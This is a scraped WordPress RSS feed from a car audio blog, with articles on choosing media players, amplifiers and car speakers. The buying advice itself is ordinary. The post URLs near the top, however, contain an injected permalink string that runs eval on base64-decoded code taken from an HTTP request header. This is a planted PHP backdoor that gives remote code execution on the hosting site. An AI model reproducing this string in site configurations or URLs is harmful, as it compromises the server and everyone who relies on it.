Buy Car Audio » Speakers http://buy-car-audio.com Car Audio installation tips and buying advice Mon, 07 May 2012 22:30:05 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 http://buy-car-audio.com http://buy-car-audio.com/wp-content/mbp-favicon/redgloss.ico Buy Car Audio Tips On Choosing A Car Audio System http://buy-car-audio.com/2011/08/09/tips-choosing-car-audio-system/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://buy-car-audio.com/2011/08/09/tips-choosing-car-audio-system/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Tue, 09 Aug 2011 19:48:14 +0000 buy-car-audio.com http://buy-car-audio.com/?p=32 Car audio has moved a long way from the old standard AM/FM Radio/Tape Deck combo. Today, in-vehicle multimedia systems include DVD video, television and navigation systems with local hotspot news. Common to all systems is the sound quality.

The quality of sound in a car audio system depends upon a number of factors – the type and quality of the media player system, the type of speakers used, the acoustics of the vehicle and interference from other devices.

Type and Quality of Media Player System

Before we look at the different types of in-vehicle media players it pays to have a basic understanding of audio quality. When deciding what type of audio system to install, and also when comparing one make and model to another, there are two key specifications to consider:

Signal-to-noise ratio [SNR] - a measure of signal strength compared to background noise in the signal or equipment. Measured in decibels. The higher the dB, the better. A car CD player has an SNR of 90 or 100 dB.

Frequency response [FR] - a measure of how much of the audio spectrum, from bass to treble, gets reproduced. It’s measured as a range in Hertz, and the wider the range, the better. Look for a CD player with a range of at least 10-20k Hz.

An FM radio, cassette player, and CD player all have different measurements for these specs. To help understand these two specifications, let’s compare a car tape cassette player and a car CD player.

Cassette player has an SNR of 50-70 dB. This is much lower than a CD player, so the sound quality degrades at each end of the spectrum. The FR is around 30-18k Hz for a cassette player, so does not contribute as much to sound quality as the SNR.

That’s why overall, a car CD player gives a much better sound than a cassette tape player.

Media players in vehicles today are either radio tuner, CD player/changer, or Digital Audio player.

CD Players & Changers

There are a number of options when it comes to playing CD’s in a vehicle:

  • An in-dash CD Player – often combined with radio tuner, WMA/MP3 player
  • An in-dash CD Receiver - with a multiple CD cassette / changer located elsewhere in the vehicle
  • Connect a portable CD player to an existing in-dash audio unit using either a cable and adapter or a bluetooth wireless connection.

When choosing a car CD player the first two things to consider are:

  1. Will it physically fit into the vehicle?
  2. Will it integrate cosmetically with the dash and other electronics?

Most decks have standardized form factors; so fit most cars, but there are exceptions, so make sure that the deck is suited for your car. You are usually pretty safe is the car stereo is made for the same market as the source of your car:

Cosmetic integration is a little more complex, but in many cases easily resolved through customisation features. For instance, many decks allow you to change the faceplates and color of the display.

Digital Audio Car Systems

With most home audio systems and portable players giving crisp quality sound using digital audio, we are no longer satisfied with the flat, bland analog sound from older car audio systems.

If you normally store your digital music files on CD, a compatible stereo or changer is a good option. Up to 10 hours of music [250 songs] can be stored on a single disc and allows use of random shuffling and repeat options. This disadvantage is ease of use, having to load and unload from cassettes located in the boot or under seats, and the limited file formats that your stereo can play back.

So now you have the media player selected, what about the speaker system.

Car Speaker System

The speaker system can be thought of in two parts: the channel amplifier and the physical speaker units.

Car amplifiers power the speakers in your car stereo system to provide crisp sound quality at high volumes. Each speaker requires one channel of amplification. This means a 4-channel amplifier, will support four speakers.

And choice of speakers is not limited either. With a range of options for your basic stereo speakers [2-channel], you can supplement the high note quality using a tweeter and the low bass notes with a sub-woofer. This gives you a standard 4-channel sound system that will rival your home audio system.

Adding to a basic car stereo option typically involves adding subwoofers, amplifiers and crossovers to tailor the output sound to personal tastes.

This does not mean the result is the boorish, obnoxious bass boom boxing that invades the entire neighbourhood. A subwoofer adds quality and purity to music.

For details of specifications on each part of your system, see Go-Reviews.com – Car Electronics Section

The main factors in selecting car speakers are:

  • Design or Speaker Type
  • Technical Specifications
  • Fitting & Mounting

Speaker design is about the combination of sound drivers for midrange, subwoofer and tweeter. Depending upon the combination, the set is known as a two-way, three-way or four-way speaker system.

Car speaker specifications are similar to home audio speakers; the main difference in technical specification to compensate for the lower power outputs of car stereo receivers.

The speaker technical specifications include sensitivity, frequency response, signal to noise ratio, power handling and impedance. We will look at these specification in more detail in subsequent articles.

The fittings and mountings are selected depending upon where you choose to position the speakers. Car audio speakers are either: top mounted or bottom mounted. Clearance depth is most important when installing new speakers in a non-factory speaker location. So check all of your components carefully before purchase.

With such a range of combinations available the Internet provides a valuable resource in car electronics reviews. Sites like Go-Reviews.com seek out reviews and consolidate the recommendations to give you a quick reference buying guide.

Nicola is the product reviewer for Go-Reviews.com. For reviews on consumer and business technology, the latest technology news, product releases and recalls and useful hints on getting the best from your technology. With such a range of combinations available the Internet provides a valuable resource in car electronics reviews

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The injection cone material “”polypropylene”" provides a sophisticated appearance that is matched by its refined performance. This diaphragm greatly contributes to clear music reproduction, yet is rugged enough to resist the harsh elements associated with cars.

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Ideally, only one speaker per side is enough to reproduce the entire audio spectrum. But unfortunately, a speaker that can produce low frequencies has too much mass to be able to produce the higher frequencies. For this, there are specialized speaker drivers that take care of particular frequency bands. For example, sub woofers are used to produce the extreme lows of music with impact that can be felt as well as heard.

Speakers have not just an extreme range in quality and price but also have the greatest impact on the overall sound of a car stereo system.

How to buy a car audio speaker

When shopping for a car speaker listen to it before buying it because there is no other way to know how it will sound to you. Keep in mind the following . . .

Ensure you take along with you a CD that you normally listen to when you audition the speakers. This will help you get a better idea of how the speaker reproduces sounds you are familiar with.

Listen closely for low level details and how instruments sound.

After narrowing down your choices to a couple of different speakers, audition them at length. A poor quality speaker has an exaggerated low and high end.

Adjust the bass and treble as well as the volume to levels that are comfortable for you.

Beware of salespeople that turn up the volume slightly on the expensive speakers and persuade you to buy them.

When choosing loudspeakers, be realistic. If you dont want any modification in your existing speaker holes, buy speakers that fit in the current available space. Also keep in mind depth considerations, like in doors where speakers may interfere with windows rolling down. Take note of dashes where speakers may be limited by ducts (for heat and air) and rear decks where depth is limited by torsion bars.

Visit car-audio-products-and-accessories.com to read more car audio articles. Check CarAudioPlus for your car audio products and accessories.

Chimezirim Odimba writes for CarAudioPlus.

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